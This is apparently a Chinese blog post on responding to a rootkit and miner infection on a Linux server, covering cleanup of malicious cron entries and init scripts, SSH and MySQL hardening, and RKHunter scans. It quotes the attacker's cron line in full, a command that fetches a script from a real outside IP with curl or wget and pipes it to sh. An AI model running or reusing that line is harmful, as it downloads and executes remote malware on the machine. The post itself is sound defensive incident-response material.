服務器遭***rootkit不慌

1.介紹:rootkit是linux最常見的***後門工具,主要通過替換系統文件達到特殊目的。主要有兩種類型:文件級別和內核級別。
2.現象及處理思路:(進程;計劃任務;可疑文件)
通過top,查看一條佔用cpu將近300%的一條進程,進程名爲vTtHH1,隨後殺掉進程及進程的執行文件,過一會進程文件又出現,進程自動運行起來。
懷疑有計劃任務。檢查/var/spool/cron/及/etc/crontab中沒有發現任務。
在/var/spool/cron/crontab/root發現一條語句:
/bin/sh -c (/usr/bin/uwdrfa2||/usr/libexec/uwdrfa2||/usr/local/bin/uwdrfa2||/tmp/uwdrfa2||curl -m180 -fsSL http://104.128.230.16:8000/i.sh||wget -q -T180 -O- http://104.128.230.16:8000/i.sh) | sh

然後通過ps -ef 來查看是否有不正常進程。發現了一個莫名的進程/usr/bin/uwdrfa2,果不其然是因爲這個進程爲父進程,隨後把這個進程及進程的執行文件殺掉,再沒有出現vTtHH1進程。
查殺病毒文件:繼續查找系統可疑文件,系統的啓動文件rc.local,在/etc/init.d/目錄查看,發現奇怪的DbSecuritySpt,selinux.這兩個文件在正常的系統下是沒有的,初步判斷是異常文件。
查找更多的可疑文件,然後刪除。(刪除不掉處理,通過lsattr 查看文件加權處理,因此通過chattr -i 來取消加權)
rm -rf /usr/bin/bsd-port
rm -f /etc/rc.d/init.d/DbSecuritySpt
rm -f /etc/rc.d/init.d/selinux
rm -f /etc/rc.d/rc1.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc2.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc3.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc1.d/S99selinux
rm -f /etc/rc.d/rc2.d/S99selinux
rm -f /etc/rc.d/rc3.d/S99selinux
3.安全加固
3.1 應用層面
阿里雲的安全組加防火牆限制,限制去向104.128.230.16的8000端口.
這個案例這臺服務器有mysql,防火牆測策略沒有限制ip連接3306端口。而mysql又以root啓動。這個後期都得修改,把mysql的監聽地址改爲本地監聽,防火牆限制連接3306端口。
改變mysql的啓動用戶爲mysql,防止提權。
3.2 系統層面
修改遠程連接的端口地址,修改root密碼。
它將進程的內存空間地址隨機化來增大預測目的地址難度,從而降低進程被成功進入的風險
執行命令: sysctl -w kernel.randomize_va_space=2
確保SSH LogLevel設置爲INFO,記錄登錄和註銷活動
編輯 /etc/ssh/sshd_config 文件以按如下方式設置參數(取消註釋): LogLevel INFO
設置SSH空閒超時退出時間,可降低未授權用戶訪問其他用戶ssh會話的風險
編輯/etc/ssh/sshd_config,將ClientAliveInterval 設置爲300到900,即5-15分鐘,將ClientAliveCountMax設置爲0-3。 ClientAliveCountMax 2
SSHD強制使用V2安全協議
編輯 /etc/ssh/sshd_config 文件以按如下方式設置參數: Protocol 2
設置較低的Max AuthTrimes參數將降低SSH服務器被暴力破解成功的風險。
在/etc/ssh/sshd_config中取消MaxAuthTries註釋符號#,設置最大密碼嘗試失敗次數3-6,建議爲4:MaxAuthTries 4
強制用戶不重用最近使用的密碼,降低密碼猜測風險
在/etc/pam.d/password-auth和/etc/pam.d/system-auth中password sufficient pam_unix.so 這行的末尾配置remember參數爲5-24之間,原來的內容不用更改, 只在末尾加了remember=5,不能重用最近的5個密碼。

4.看是否rootkit,使用檢測工具RKHunter
1,安裝RKHunter,
yum install epel-release
yum install rkhunter
rkhunter命令的參數較多
rkhunter --help
常用的幾個參數選項:
-c, --check Check the local system
--configfile <file> Use the specified configuration file
--cronjob Run as a cron job
--sk, --skip-keypress Don't wait for a keypress after each test
服務器遭***rootkit不慌
綠色表示沒有問題,紅色,要引起關注了。
程序自動運行檢測:rkhunter --check --skip-keypress
rkhunter擁有並維護着一個包含rootkit特徵的數據庫,然後根據此數據庫來檢測系統中的rootkits.對此數據庫進程升級,rkhunter --update

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章